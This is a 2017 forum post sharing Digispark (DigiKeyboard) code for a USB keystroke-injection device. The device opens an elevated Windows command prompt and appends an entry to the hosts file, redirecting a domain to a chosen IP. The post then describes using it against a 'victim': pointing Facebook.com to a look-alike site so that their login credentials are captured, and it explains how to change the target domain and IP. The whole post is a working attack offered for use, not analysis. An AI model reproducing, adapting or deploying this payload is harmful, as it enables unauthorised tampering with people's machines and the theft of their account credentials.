Mar 21, 2017 01:10 PM
(This post was last modified: Mar 21, 2017 01:20 PM by Skidy.)
![[Image: 75537776463cb97ea0ff5b80ebb87546.png]](https://i.gyazo.com/75537776463cb97ea0ff5b80ebb87546.png)
This is really simple to do but I thought I would post it and explain the consequences of DNS Spoofing.
Code
#include "DigiKeyboard.h"
void setup() {
// don't need to set anything up to use DigiKeyboard
}
void loop() {
// this is generally not necessary but with some older systems it seems to
// prevent missing the first character after a delay:
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print("cmd");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("ECHO 127.0.0.1 TEST.COM >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}What does this do?
When this script has been executed, if your victim browses to test.com it will appear as they are on the correct domain but browsing a different website. You can change the code above to suit your needs.
An example would be:
- Execute script for Facebook.com
- Change the DNS to your public website which mimiks Facebook
- They login
- You get their information (done by your site)
The possibilities for this are endless. To get started just change test.com to a website your victim browses and 127.0.0.1 to your sites IP.

